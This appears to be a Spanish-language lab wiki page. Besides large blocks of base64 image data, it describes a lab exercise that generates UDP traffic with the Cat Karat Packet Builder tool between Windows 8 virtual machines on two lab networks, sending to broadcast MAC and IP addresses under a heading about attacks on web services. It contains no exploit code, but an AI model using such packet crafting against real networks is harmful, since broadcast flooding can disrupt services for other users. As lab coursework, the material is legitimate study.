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
En esta sección se describen los ataques realizados a los servicios web
El proceso siguiente se hizo en maquinas virtuales Windows 8 instaladas previamente tanto en red izquierda como en red derecha. Para hacer el proceso de instalación primeramente se accedió a la pagina de [[Cat Karat Packet Builder|https://sites.google.com/site/catkaratpacketbuilder/documents]]. Se descargo el archivo comprimido que se encuentra en la seccion de descargas. Se descomprimio el archivo y se procedio a ejecutar el instalador resultante de esta operacion. Para instalarse, se dejaron las configuraciones por defecto que iban apareciendo en el instalador mismo( .exe). Se genera trafico con protocolo UDP de la siguiente manera: 1.- Se escoge una interfaz de red a utilizar. Tanto en la maquina Windows 8 de red izquierda y red derecha se da doble click sobre el espacio indicado en la imagen. [img[sc1.PNG]] 2.- Se seleccionan los protocolos a utilizar. En este caso se seleccionan IPv4 y UDP. Se da click sobre lo indicado en la imagen. Este paso es igual tanto en la maquina Windows 8 de red izquierda y red derecha. [img[sc2.PNG]] 3.-Se indica una MAC fuente y una MAC destino. Dentro de la seccion vista de protocolo, en la subseccion de Ethernet se da click sobre los botones indicados en la imagen. Se esta utilizando MAC de broadcast y MAC de la maquina donde se esta generando el trafico.Este paso es igual tanto en la maquina Windows 8 de red izquierda y red derecha. [img[sc3.PNG]] 4.- Se indica un IP fuente y una IP destino.Dentro de la seccion vista de protocolo, en la subseccion de IPv4 se da click sobre el boton indicado para indicar que la IP fuente sera la maquina que se esta utilizando. Para indicar la IP destino se llena el text input indicado en la imagen. Para la maquina Windows 8 en la red izquierda escribimos el IP `10.21.1.255` y para la de la derecha escribimos la IP `10.22.1.255`. [img[sc4.PNG]]
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